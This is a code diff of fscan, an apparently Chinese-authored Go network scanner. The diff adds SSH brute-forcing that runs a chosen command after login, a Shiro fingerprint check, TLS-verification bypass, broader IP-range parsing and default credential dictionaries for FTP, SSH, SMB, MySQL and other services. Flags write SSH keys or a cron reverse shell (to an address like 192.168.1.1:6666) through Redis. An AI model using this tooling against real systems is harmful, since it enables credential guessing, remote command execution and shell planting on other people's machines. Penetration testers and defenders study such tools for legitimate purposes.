<- ch <-ch
} }
func SshConn(info *common.HostInfo,user string,pass string)(flag bool,err error){ func SshConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
flag = false flag = false
Host,Port,Username,Password := info.Host, common.PORTList["ssh"],user, pass Host, Port, Username, Password := info.Host, common.PORTList["ssh"], user, pass
config := &ssh.ClientConfig{ config := &ssh.ClientConfig{
User: Username, User: Username,
Auth: []ssh.AuthMethod{ Auth: []ssh.AuthMethod{
ssh.Password(Password), ssh.Password(Password),
}, },
Timeout: time.Duration(info.Timeout)*time.Second, Timeout: time.Duration(info.Timeout) * time.Second,
HostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error { HostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error {
return nil return nil
}, },
@@ -42,19 +43,19 @@ func SshConn(info *common.HostInfo,user string,pass string)(flag bool,err error)
if err == nil { if err == nil {
defer client.Close() defer client.Close()
session, err := client.NewSession() session, err := client.NewSession()
if err == nil { if err == nil {
defer session.Close() defer session.Close()
flag = true flag = true
if info.Command != ""{ if info.Command != "" {
combo,_ := session.CombinedOutput(info.Command) combo, _ := session.CombinedOutput(info.Command)
result := fmt.Sprintf("SSH:%v:%v:%v %v \n %v",Host,Port,Username,Password,string(combo)) result := fmt.Sprintf("SSH:%v:%v:%v %v \n %v", Host, Port, Username, Password, string(combo))
common.LogSuccess(result) common.LogSuccess(result)
}else { } else {
result := fmt.Sprintf("SSH:%v:%v:%v %v",Host,Port,Username,Password) result := fmt.Sprintf("SSH:%v:%v:%v %v", Host, Port, Username, Password)
common.LogSuccess(result) common.LogSuccess(result)
} }
} }
} }
return flag,err return flag, err
} }
+38 -53
View File
@@ -1,83 +1,68 @@
package Plugins package Plugins
import ( import (
"../common" "crypto/tls"
"fmt" "fmt"
"github.com/shadow1ng/fscan/WebScan"
"github.com/shadow1ng/fscan/common"
"io/ioutil" "io/ioutil"
"net/http" "net/http"
"regexp" "regexp"
"strings"
"sync" "sync"
"time" "time"
) )
func WebTitle(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) (err error, result string) { func WebTitle(info *common.HostInfo, ch chan int, wg *sync.WaitGroup) (err error, result string) {
info.Url = fmt.Sprintf("http://%s:%s",info.Host,info.Ports) info.Url = fmt.Sprintf("http://%s:%s", info.Host, info.Ports)
err,result = geturl(info) err, result = geturl(info)
wg.Done() if err == nil {
WebScan.WebScan(info)
}
info.Url = fmt.Sprintf("https://%s:%s", info.Host, info.Ports)
err, result = geturl(info)
if err == nil {
WebScan.WebScan(info)
}
wg.Done()
<-ch <-ch
return err, result return err, result
} }
func geturl(info *common.HostInfo) (err error, result string) { func geturl(info *common.HostInfo) (err error, result string) {
url := info.Url url := info.Url
var client = &http.Client{Timeout:time.Duration(info.Timeout)*time.Second } tr := &http.Transport{
res,err:=http.NewRequest("GET",url,nil) TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
if err==nil{ }
res.Header.Add("User-agent","Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36") var client = &http.Client{Timeout: time.Duration(info.WebTimeout) * time.Second, Transport: tr}
res.Header.Add("Accept","*/*") res, err := http.NewRequest("GET", url, nil)
res.Header.Add("Accept-Language","zh-CN,zh;q=0.9") if err == nil {
res.Header.Add("Accept-Encoding","gzip, deflate") res.Header.Add("User-agent", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36")
res.Header.Add("Connection","close") res.Header.Add("Accept", "*/*")
resp,err:=client.Do(res) res.Header.Add("Accept-Language", "zh-CN,zh;q=0.9")
if err==nil{ res.Header.Add("Accept-Encoding", "gzip, deflate")
res.Header.Add("Connection", "close")
resp, err := client.Do(res)
if err == nil {
defer resp.Body.Close() defer resp.Body.Close()
var title string var title string
body, _ := ioutil.ReadAll(resp.Body) body, _ := ioutil.ReadAll(resp.Body)
re :=regexp.MustCompile("<title>(.*)</title>") re := regexp.MustCompile("<title>(.*)</title>")
find := re.FindAllStringSubmatch(string(body),-1) find := re.FindAllStringSubmatch(string(body), -1)
if len(find) > 0{ if len(find) > 0 {
title = find[0][1] title = find[0][1]
}else { } else {
title = "None" title = "None"
} }
if len(title) > 50{ if len(title) > 50 {
title = title[:50] title = title[:50]
} }
if resp.StatusCode == 400 && string(url[5]) != "https"{ result = fmt.Sprintf("WebTitle:%v %v %v", url, resp.StatusCode, title)
info.Url = strings.Replace(url, "http://", "https://", 1) common.LogSuccess(result)
return geturl(info)
}else {
result = fmt.Sprintf("WebTitle:%v %v %v",url,resp.StatusCode,title)
common.LogSuccess(result)
}
return err, result return err, result
} }
return err, ""
} }
return err, "" return err, ""
} }
//var client = &http.Client{
// Transport:&http.Transport{
// DialContext:(&net.Dialer{
// Timeout:time.Duration(info.Timeout)*time.Second,
// }).DialContext,
// },
// CheckRedirect:func(req *http.Request, via []*http.Request) error{
// return http.ErrUseLastResponse
// },
//}
//if info.Cookie!=""{
// res.Header.Add("Cookie",info.Cookie)
//}
//if info.Header!=""{
// var header = make(map[string]string)
// err:=json.Unmarshal([]byte(info.Header),&header)
// if err!=nil{
// Misc.CheckErr(err)
// }
// for k,v:=range header{
// res.Header.Add(k,v)
// }
//}
+10 -2
View File
@@ -14,7 +14,11 @@
因为用习惯了f-scrack,习惯一条命令跑完所有模块,省去一个个模块单独调用的时间,当然我附加了-m 指定模块的功能。 因为用习惯了f-scrack,习惯一条命令跑完所有模块,省去一个个模块单独调用的时间,当然我附加了-m 指定模块的功能。
## 最近更新 ## 最近更新
[+] 2020/11/16 对icmp模块进行优化,增加-it 参数(IcmpThreads),默认3000,适合扫B段 [+] 2020/12/6 优化icmp模块,新增-domain 参数(用于smb爆破模块,适用于域用户)
[+] 2020/12/03 优化ip段处理模块、icmp、端口扫描模块。新增支持192.168.1.1-192.168.255.255。
[+] 2020/11/17 增加-ping 参数,作用是存活探测模块用ping代替icmp发包。
[+] 2020/11/17 增加WebScan模块,新增shiro简单识别。https访问时,跳过证书认证。将服务模块和web模块的超时分开,增加-wt 参数(WebTimeout)。
[+] 2020/11/16 对icmp模块进行优化,增加-it 参数(IcmpThreads),默认11000,适合扫B段
[+] 2020/11/15 支持ip以文件导入,-hs ip.txt,并对去重做了处理 [+] 2020/11/15 支持ip以文件导入,-hs ip.txt,并对去重做了处理
## usege ## usege
@@ -45,7 +49,7 @@ fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)
-hf string -hf string
host file, -hs ip.txt host file, -hs ip.txt
-it int -it int
Icmp Threads nums (default 3000) Icmp Threads nums (default 11000)
-m string -m string
Select scan type ,as: -m ssh (default "all") Select scan type ,as: -m ssh (default "all")
-no -no
@@ -56,6 +60,8 @@ fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)
Outputfile (default "result.txt") Outputfile (default "result.txt")
-p string -p string
Select a port,for example: 22 | 1-65535 | 22,80,3306 (default "21,22,23,80,135,443,445,1433,1521,3306,5432,6379,7001,8080,8089,9000,9200,11211,27017") Select a port,for example: 22 | 1-65535 | 22,80,3306 (default "21,22,23,80,135,443,445,1433,1521,3306,5432,6379,7001,8080,8089,9000,9200,11211,27017")
-ping
using ping replace icmp
-pwd string -pwd string
password password
-pwdf string -pwdf string
@@ -72,6 +78,8 @@ fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)
username username
-userf string -userf string
username file username file
-wt int
Set web timeout (default 3)
``` ```
+9
View File
@@ -0,0 +1,9 @@
package WebScan
import (
"github.com/shadow1ng/fscan/common"
)
func WebScan(info *common.HostInfo) {
Shiro(info)
}
+44
View File
@@ -0,0 +1,44 @@
package WebScan
import (
"crypto/tls"
"fmt"
"github.com/shadow1ng/fscan/common"
"net/http"
"strings"
"time"
)
func Shiro(info *common.HostInfo) (err error, result string) {
url := info.Url
tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
var client = &http.Client{Timeout: time.Duration(info.WebTimeout) * time.Second, Transport: tr}
res, err := http.NewRequest("GET", url, nil)
if err == nil {
res.Header.Add("User-agent", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36")
res.Header.Add("Accept", "*/*")
res.Header.Add("Cookie", "rememberMe=1")
res.Header.Add("Accept-Language", "zh-CN,zh;q=0.9")
res.Header.Add("Accept-Encoding", "gzip, deflate")
res.Header.Add("Connection", "close")
resp, err := client.Do(res)
if err == nil {
defer resp.Body.Close()
for _,a := range resp.Header{
if len(a) >1{
for _,b :=range a{
if strings.Contains(b,"rememberMe"){
result = fmt.Sprintf("%v is shiro",url)
common.LogSuccess(result)
return err, result
}
}
}
}
}
}
return err, ""
}
+135 -109
View File
@@ -11,162 +11,190 @@ import (
"strings" "strings"
) )
var ParseIPErr =errors.New("host parsing error\n" + var ParseIPErr = errors.New(" host parsing error\n" +
"format: \n"+ "format: \n" +
"192.168.1.1\n" + "192.168.1.1\n" +
"192.168.1.1/8\n"+ "192.168.1.1/8\n" +
"192.168.1.1/16\n"+ "192.168.1.1/16\n" +
"192.168.1.1/24\n"+ "192.168.1.1/24\n" +
"192.168.1.1,192.168.1.2\n" + "192.168.1.1,192.168.1.2\n" +
"192.168.1.1-192.168.255.255\n" +
"192.168.1.1-255") "192.168.1.1-255")
func ParseIP(ip string,filename string)(hosts []string,err error){ func ParseIP(ip string, filename string) (hosts []string, err error) {
if ip != ""{ if ip != "" {
hosts,err = ParseIPs(ip) hosts, err = ParseIPs(ip)
} }
if filename != ""{ if filename != "" {
var filehost []string var filehost []string
filehost,_ = Readipfile(filename) filehost, _ = Readipfile(filename)
hosts = append(hosts,filehost...) hosts = append(hosts, filehost...)
} }
hosts = RemoveDuplicate(hosts) hosts = RemoveDuplicate(hosts)
return hosts,err return hosts, err
} }
func ParseIPs(ip string)(hosts []string,err error){ func ParseIPs(ip string) (hosts []string, err error) {
if strings.Contains(ip,","){ if strings.Contains(ip, ",") {
IPList:=strings.Split(ip,",") IPList := strings.Split(ip, ",")
var ips []string var ips []string
for _,ip:=range IPList{ for _, ip := range IPList {
ips,err = ParseIPone(ip) ips, err = ParseIPone(ip)
CheckErr(ip,err) CheckErr(ip, err)
hosts = append(hosts,ips...) hosts = append(hosts, ips...)
} }
return hosts,err return hosts, err
}else { } else {
hosts,err = ParseIPone(ip) hosts, err = ParseIPone(ip)
CheckErr(ip,err) CheckErr(ip, err)
return hosts,err return hosts, err
} }
} }
func ParseIPone(ip string)([]string,error){ func ParseIPone(ip string) ([]string, error) {
reg:=regexp.MustCompile(`[a-zA-Z]+`) reg := regexp.MustCompile(`[a-zA-Z]+`)
switch { switch {
case strings.Contains(ip[len(ip)-3:len(ip)],"/24"): case strings.Contains(ip[len(ip)-3:len(ip)], "/24"):
return ParseIPA(ip) return ParseIPA(ip)
case strings.Contains(ip[len(ip)-3:len(ip)],"/16"): case strings.Contains(ip[len(ip)-3:len(ip)], "/16"):
return ParseIPD(ip) return ParseIPD(ip)
case strings.Contains(ip[len(ip)-2:len(ip)],"/8"): case strings.Contains(ip[len(ip)-2:len(ip)], "/8"):
return ParseIPE(ip) return ParseIPE(ip)
case strings.Count(ip,"-")==1: case strings.Count(ip, "-") == 1:
return ParseIPC(ip) return ParseIPC(ip)
case reg.MatchString(ip): case reg.MatchString(ip):
_, err := net.LookupHost(ip) _, err := net.LookupHost(ip)
if err != nil { if err != nil {
return nil,err return nil, err
} }
return []string{ip},nil return []string{ip}, nil
default: default:
testIP:=net.ParseIP(ip) testIP := net.ParseIP(ip)
if testIP==nil{ if testIP == nil {
return nil,ParseIPErr return nil, ParseIPErr
} }
return []string{ip},nil return []string{ip}, nil
} }
} }
//Parsing CIDR IP
func ParseIPA(ip string)([]string,error){
realIP:=ip[:len(ip)-3]
testIP:=net.ParseIP(realIP)
if testIP==nil{ //Parsing CIDR IP
return nil,ParseIPErr func ParseIPA(ip string) ([]string, error) {
realIP := ip[:len(ip)-3]
testIP := net.ParseIP(realIP)
if testIP == nil {
return nil, ParseIPErr
} }
IPrange:=strings.Join(strings.Split(realIP,".")[0:3],".") IPrange := strings.Join(strings.Split(realIP, ".")[0:3], ".")
var AllIP []string var AllIP []string
for i:=0;i<=255;i++{ for i := 0; i <= 255; i++ {
AllIP=append(AllIP,IPrange+"."+strconv.Itoa(i)) AllIP = append(AllIP, IPrange+"."+strconv.Itoa(i))
} }
return AllIP,nil return AllIP, nil
} }
//Resolving multiple IPS, for example: 192.168.111.1,192.168.111.2 //Resolving multiple IPS, for example: 192.168.111.1,192.168.111.2
func ParseIPB(ip string)([]string,error){ func ParseIPB(ip string) ([]string, error) {
IPList:=strings.Split(ip,",") IPList := strings.Split(ip, ",")
for _,i:=range IPList{ for _, i := range IPList {
testIP:=net.ParseIP(i) testIP := net.ParseIP(i)
if testIP==nil{ if testIP == nil {
return nil,ParseIPErr return nil, ParseIPErr
} }
} }
return IPList,nil return IPList, nil
} }
//Resolving a range of IP,for example: 192.168.111.1-255 //Resolving a range of IP,for example: 192.168.111.1-255,192.168.111.1-192.168.112.255
func ParseIPC(ip string)([]string,error){ func ParseIPC(ip string) ([]string, error) {
IPRange:=strings.Split(ip,"-") IPRange := strings.Split(ip, "-")
testIP:=net.ParseIP(IPRange[0]) testIP := net.ParseIP(IPRange[0])
Range,err:=strconv.Atoi(IPRange[1])
if testIP==nil || Range>255 || err!=nil{
return nil,ParseIPErr
}
SplitIP:=strings.Split(IPRange[0],".")
ip1,err1:=strconv.Atoi(SplitIP[3])
ip2,err2:=strconv.Atoi(IPRange[1])
PrefixIP:=strings.Join(SplitIP[0:3],".")
var AllIP []string var AllIP []string
if ip1>ip2 || err1!=nil || err2!=nil{ if len(IPRange[1]) < 4 {
return nil,ParseIPErr Range, err := strconv.Atoi(IPRange[1])
} if testIP == nil || Range > 255 || err != nil {
for i:=ip1;i<=ip2;i++{ return nil, ParseIPErr
AllIP=append(AllIP,PrefixIP+"."+strconv.Itoa(i)) }
} SplitIP := strings.Split(IPRange[0], ".")
return AllIP,nil ip1, err1 := strconv.Atoi(SplitIP[3])
ip2, err2 := strconv.Atoi(IPRange[1])
} PrefixIP := strings.Join(SplitIP[0:3], ".")
if ip1 > ip2 || err1 != nil || err2 != nil {
func ParseIPD(ip string)([]string,error){ return nil, ParseIPErr
realIP:=ip[:len(ip)-3] }
testIP:=net.ParseIP(realIP) for i := ip1; i <= ip2; i++ {
AllIP = append(AllIP, PrefixIP+"."+strconv.Itoa(i))
if testIP==nil{ }
return nil,ParseIPErr } else {
} SplitIP1 := strings.Split(IPRange[0], ".")
IPrange:=strings.Join(strings.Split(realIP,".")[0:2],".") SplitIP2 := strings.Split(IPRange[1], ".")
var AllIP []string fmt.Println(SplitIP1, SplitIP2, len(SplitIP1), len(SplitIP2))
for a:=0;a<=255;a++{ if len(SplitIP1) != 4 || len(SplitIP2) != 4 {
for b:=0;b<=255;b++{ return nil, ParseIPErr
AllIP=append(AllIP,IPrange+"."+strconv.Itoa(a)+"."+strconv.Itoa(b)) }
start, end := [4]int{}, [4]int{}
for i := 0; i < 4; i++ {
ip1, err1 := strconv.Atoi(SplitIP1[i])
ip2, err2 := strconv.Atoi(SplitIP2[i])
if ip1 > ip2 || err1 != nil || err2 != nil {
return nil, ParseIPErr
}
start[i], end[i] = ip1, ip2
}
startNum := (start[0]<<24 | start[1]<<16 | start[2]<<8 | start[3])
endNum := (end[0]<<24 | end[1]<<16 | end[2]<<8 | end[3])
fmt.Println(startNum, endNum)
for num := startNum; num < endNum; num++ {
ip := (strconv.Itoa((num>>24)&0xff) + "." + strconv.Itoa((num>>16)&0xff) + "." + strconv.Itoa((num>>8)&0xff) + "." + strconv.Itoa((num)&0xff))
AllIP = append(AllIP, ip)
} }
} }
return AllIP,nil
return AllIP, nil
} }
func ParseIPE(ip string)([]string,error){ func ParseIPD(ip string) ([]string, error) {
realIP:=ip[:len(ip)-2] realIP := ip[:len(ip)-3]
testIP:=net.ParseIP(realIP) testIP := net.ParseIP(realIP)
if testIP==nil{ if testIP == nil {
return nil,ParseIPErr return nil, ParseIPErr
} }
IPrange:=strings.Join(strings.Split(realIP,".")[0:1],".") IPrange := strings.Join(strings.Split(realIP, ".")[0:2], ".")
var AllIP []string var AllIP []string
for a:=0;a<=255;a++{ for a := 0; a <= 255; a++ {
for b:=0;b<=255;b++{ for b := 0; b <= 255; b++ {
AllIP=append(AllIP,IPrange+"."+strconv.Itoa(a)+"."+strconv.Itoa(b)+"."+strconv.Itoa(1)) AllIP = append(AllIP, IPrange+"."+strconv.Itoa(a)+"."+strconv.Itoa(b))
AllIP=append(AllIP,IPrange+"."+strconv.Itoa(a)+"."+strconv.Itoa(b)+"."+strconv.Itoa(254))
} }
} }
return AllIP,nil return AllIP, nil
} }
func Readipfile(filename string)([]string,error){ func ParseIPE(ip string) ([]string, error) {
realIP := ip[:len(ip)-2]
testIP := net.ParseIP(realIP)
if testIP == nil {
return nil, ParseIPErr
}
IPrange := strings.Join(strings.Split(realIP, ".")[0:1], ".")
var AllIP []string
for a := 0; a <= 255; a++ {
for b := 0; b <= 255; b++ {
AllIP = append(AllIP, IPrange+"."+strconv.Itoa(a)+"."+strconv.Itoa(b)+"."+strconv.Itoa(1))
AllIP = append(AllIP, IPrange+"."+strconv.Itoa(a)+"."+strconv.Itoa(b)+"."+strconv.Itoa(254))
}
}
return AllIP, nil
}
func Readipfile(filename string) ([]string, error) {
file, err := os.Open(filename) file, err := os.Open(filename)
if err!=nil{ if err != nil {
fmt.Println("Open %s error, %v", filename,err) fmt.Println("Open %s error, %v", filename, err)
os.Exit(0) os.Exit(0)
} }
defer file.Close() defer file.Close()
@@ -176,16 +204,15 @@ func Readipfile(filename string)([]string,error){
for scanner.Scan() { for scanner.Scan() {
text := strings.TrimSpace(scanner.Text()) text := strings.TrimSpace(scanner.Text())
if text != "" { if text != "" {
host,err := ParseIPs(text) host, err := ParseIPs(text)
CheckErr(text,err) CheckErr(text, err)
content=append(content,host...) content = append(content, host...)
} }
} }
return content,nil return content, nil
} }
func RemoveDuplicate(old []string) []string {
func RemoveDuplicate(old []string) ([]string) {
result := make([]string, 0, len(old)) result := make([]string, 0, len(old))
temp := map[string]struct{}{} temp := map[string]struct{}{}
for _, item := range old { for _, item := range old {
@@ -196,4 +223,3 @@ func RemoveDuplicate(old []string) ([]string) {
} }
return result return result
} }
+62 -61
View File
@@ -1,81 +1,82 @@
package common package common
//fscan version 1.3
var Userdict = map[string][]string{ var Userdict = map[string][]string{
"ftp": {"www","admin","root","db","wwwroot","data","web","ftp"}, "ftp": {"www", "admin", "root", "db", "wwwroot", "data", "web", "ftp"},
"mysql": {"root"}, "mysql": {"root"},
"mssql": {"root","sa"}, "mssql": {"root", "sa"},
"smb": {"administrator","guest"}, "smb": {"administrator", "guest"},
"postgresql": {"postgres","admin"}, "postgresql": {"postgres", "admin"},
"ssh": {"root","admin"}, "ssh": {"root", "admin"},
"mongodb": {"root","admin"}, "mongodb": {"root", "admin"},
//"telnet": []string{"administrator","admin","root","cisco","huawei","zte"}, //"telnet": []string{"administrator","admin","root","cisco","huawei","zte"},
} }
var Passwords = []string{"admin123A","admin123","123456","admin","root","password","123123","654321","123","1","admin@123","Admin@123","{user}","{user}123","","P@ssw0rd!","qwa123","12345678","test","123qwe!@#","123456789","123321","666666","fuckyou","000000","1234567890","8888888","qwerty","1qaz2wsx","abc123","abc123456","1qaz@WSX","Aa123456","sysadmin","system","huawei"} var Passwords = []string{"admin123A", "admin123", "123456", "admin", "root", "password", "123123", "654321", "123", "1", "admin@123", "Admin@123", "{user}", "{user}123", "", "P@ssw0rd!", "qwa123", "12345678", "test", "123qwe!@#", "123456789", "123321", "666666", "fuckyou", "000000", "1234567890", "8888888", "qwerty", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "Aa123456", "sysadmin", "system", "huawei"}
var PORTList = map[string]int{ var PORTList = map[string]int{
"ftp": 21, "ftp": 21,
"ssh": 22, "ssh": 22,
"mem": 11211, "mem": 11211,
"mgo": 27017, "mgo": 27017,
"mssql": 1433, "mssql": 1433,
"psql": 5432, "psql": 5432,
"redis": 6379, "redis": 6379,
"mysql": 3306, "mysql": 3306,
"smb": 445, "smb": 445,
"ms17010": 1000001, "ms17010": 1000001,
"cve20200796":1000002, "cve20200796": 1000002,
"webtitle": 1000003, "webtitle": 1000003,
"elastic": 9200, "elastic": 9200,
"findnet": 135, "findnet": 135,
"all":0, "all": 0,
} }
var PORTList_bak = map[string]int{ var PORTList_bak = map[string]int{
"ftp": 21, "ftp": 21,
"ssh": 22, "ssh": 22,
"mem": 11211, "mem": 11211,
"mgo": 27017, "mgo": 27017,
"mssql": 1433, "mssql": 1433,
"psql": 5432, "psql": 5432,
"redis": 6379, "redis": 6379,
"mysql": 3306, "mysql": 3306,
"smb": 445, "smb": 445,
"ms17010": 1000001, "ms17010": 1000001,
"cve20200796":1000002, "cve20200796": 1000002,
"webtitle": 1000003, "webtitle": 1000003,
"elastic": 9200, "elastic": 9200,
"findnet": 135, "findnet": 135,
"all":0, "all": 0,
} }
var Outputfile = "result.txt" var Outputfile = "result.txt"
var IsSave = true var IsSave = true
var DefaultPorts = "21,22,23,80,135,443,445,1433,1521,3306,5432,6379,7001,8080,8089,9000,9200,11211,27017" var DefaultPorts = "21,22,80,81,135,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,11211,27017"
type HostInfo struct { type HostInfo struct {
Host string Host string
HostFile string HostFile string
Ports string Ports string
Url string Domain string
Timeout int64 Url string
Scantype string Timeout int64
Isping bool WebTimeout int64
Threads int Scantype string
Ping bool
Isping bool
Threads int
IcmpThreads int IcmpThreads int
Command string Command string
Username string Username string
Password string Password string
Userfile string Userfile string
Passfile string Passfile string
Usernames []string Usernames []string
Passwords []string Passwords []string
Outputfile string Outputfile string
IsSave bool IsSave bool
RedisFile string RedisFile string
RedisShell string RedisShell string
} }
+23 -23
View File
@@ -4,39 +4,39 @@ import (
"flag" "flag"
) )
func Banner(){ func Banner() {
banner := ` banner := `
___ _ ___ _
/ _ \ ___ ___ _ __ __ _ ___| | __ / _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _`+"`"+` |/ __| |/ / / /_\/____/ __|/ __| '__/ _` + "`" + ` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| < / /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\ \____/ |___/\___|_| \__,_|\___|_|\_\
` `
print(banner) print(banner)
} }
func Flag(Info *HostInfo) {
func Flag(Info *HostInfo) {
Banner() Banner()
flag.StringVar(&Info.Host,"h","","IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12") flag.StringVar(&Info.Host, "h", "", "IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12")
flag.StringVar(&Info.HostFile,"hf","","host file, -hs ip.txt") flag.StringVar(&Info.HostFile, "hf", "", "host file, -hs ip.txt")
flag.StringVar(&Info.Ports,"p",DefaultPorts,"Select a port,for example: 22 | 1-65535 | 22,80,3306") flag.StringVar(&Info.Ports, "p", DefaultPorts, "Select a port,for example: 22 | 1-65535 | 22,80,3306")
flag.StringVar(&Info.Command,"c","","exec command (ssh)") flag.StringVar(&Info.Command, "c", "", "exec command (ssh)")
flag.IntVar(&Info.Threads,"t",200,"Thread nums") flag.IntVar(&Info.Threads, "t", 200, "Thread nums")
flag.IntVar(&Info.IcmpThreads,"it",3000,"Icmp Threads nums") flag.IntVar(&Info.IcmpThreads, "it", 11000, "Icmp Threads nums")
flag.BoolVar(&Info.Isping,"np",false,"not to ping") flag.BoolVar(&Info.Isping, "np", false, "not to ping")
flag.BoolVar(&Info.IsSave,"no",false,"not to save output log") flag.BoolVar(&Info.Ping, "ping", false, "using ping replace icmp")
flag.StringVar(&Info.Username,"user","","username") flag.BoolVar(&Info.IsSave, "no", false, "not to save output log")
flag.StringVar(&Info.Userfile,"userf","","username file") flag.StringVar(&Info.Domain, "domain", "", "smb domain")
flag.StringVar(&Info.Password,"pwd","","password") flag.StringVar(&Info.Username, "user", "", "username")
flag.StringVar(&Info.Passfile,"pwdf","","password file") flag.StringVar(&Info.Userfile, "userf", "", "username file")
flag.StringVar(&Info.Outputfile,"o","result.txt","Outputfile") flag.StringVar(&Info.Password, "pwd", "", "password")
flag.Int64Var(&Info.Timeout,"time",3,"Set timeout") flag.StringVar(&Info.Passfile, "pwdf", "", "password file")
flag.StringVar(&Info.Scantype,"m","all","Select scan type ,as: -m ssh") flag.StringVar(&Info.Outputfile, "o", "result.txt", "Outputfile")
flag.StringVar(&Info.RedisFile,"rf","","redis file to write sshkey file (as: -rf id_rsa.pub) ") flag.Int64Var(&Info.Timeout, "time", 3, "Set timeout")
flag.StringVar(&Info.RedisShell,"rs","","redis shell to write cron file (as: -rs 192.168.1.1:6666) ") flag.Int64Var(&Info.WebTimeout, "wt", 3, "Set web timeout")
flag.StringVar(&Info.Scantype, "m", "all", "Select scan type ,as: -m ssh")
flag.StringVar(&Info.RedisFile, "rf", "", "redis file to write sshkey file (as: -rf id_rsa.pub) ")
flag.StringVar(&Info.RedisShell, "rs", "", "redis shell to write cron file (as: -rs 192.168.1.1:6666) ")
flag.Parse() flag.Parse()
} }
+12
View File
@@ -0,0 +1,12 @@
module github.com/shadow1ng/fscan
go 1.13
require (
github.com/denisenkom/go-mssqldb v0.9.0
github.com/go-sql-driver/mysql v1.5.0
github.com/jlaffaye/ftp v0.0.0-20201112195030-9aae4d151126
github.com/lib/pq v1.8.0
github.com/stacktitan/smb v0.0.0-20190531122847-da9a425dceb8
golang.org/x/crypto v0.0.0-20201116153603-4be66e5b6582
)
+27
View File
@@ -0,0 +1,27 @@
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/denisenkom/go-mssqldb v0.9.0 h1:RSohk2RsiZqLZ0zCjtfn3S4Gp4exhpBWHyQ7D0yGjAk=
github.com/denisenkom/go-mssqldb v0.9.0/go.mod h1:xbL0rPBG9cCiLr28tMa8zpbdarY27NDyej4t/EjAShU=
github.com/go-sql-driver/mysql v1.5.0 h1:ozyZYNQW3x3HtqT1jira07DN2PArx2v7/mN66gGcHOs=
github.com/go-sql-driver/mysql v1.5.0/go.mod h1:DCzpHaOWr8IXmIStZouvnhqoel9Qv2LBy8hT2VhHyBg=
github.com/golang-sql/civil v0.0.0-20190719163853-cb61b32ac6fe h1:lXe2qZdvpiX5WZkZR4hgp4KJVfY3nMkvmwbVkpv1rVY=
github.com/golang-sql/civil v0.0.0-20190719163853-cb61b32ac6fe/go.mod h1:8vg3r2VgvsThLBIFL93Qb5yWzgyZWhEmBwUJWevAkK0=
github.com/jlaffaye/ftp v0.0.0-20201112195030-9aae4d151126 h1:ly2C51IMpCCV8RpTDRXgzG/L9iZXb8ePEixaew/HwBs=
github.com/jlaffaye/ftp v0.0.0-20201112195030-9aae4d151126/go.mod h1:2lmrmq866uF2tnje75wQHzmPXhmSWUt7Gyx2vgK1RCU=
github.com/lib/pq v1.8.0 h1:9xohqzkUwzR4Ga4ivdTcawVS89YSDVxXMa3xJX3cGzg=
github.com/lib/pq v1.8.0/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/stacktitan/smb v0.0.0-20190531122847-da9a425dceb8 h1:GVFkBBJAEO3CpzIYcDDBdpUObzKwVW9okNWcLYL/nnU=
github.com/stacktitan/smb v0.0.0-20190531122847-da9a425dceb8/go.mod h1:phLSETqH/UJsBtwDVBxSfJKwwkbJcGyy2Q/h4k+bmww=
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
golang.org/x/crypto v0.0.0-20190325154230-a5d413f7728c/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
golang.org/x/crypto v0.0.0-20201116153603-4be66e5b6582 h1:0WDrJ1E7UolDk1KhTXxxw3Fc8qtk5x7dHP431KHEJls=
golang.org/x/crypto v0.0.0-20201116153603-4be66e5b6582/go.mod h1:tCqSYrHVcf3i63Co2FzBkTCo2gdF6Zak62921dSfraU=
golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/term v0.0.0-20201113234701-d7a72108b828/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
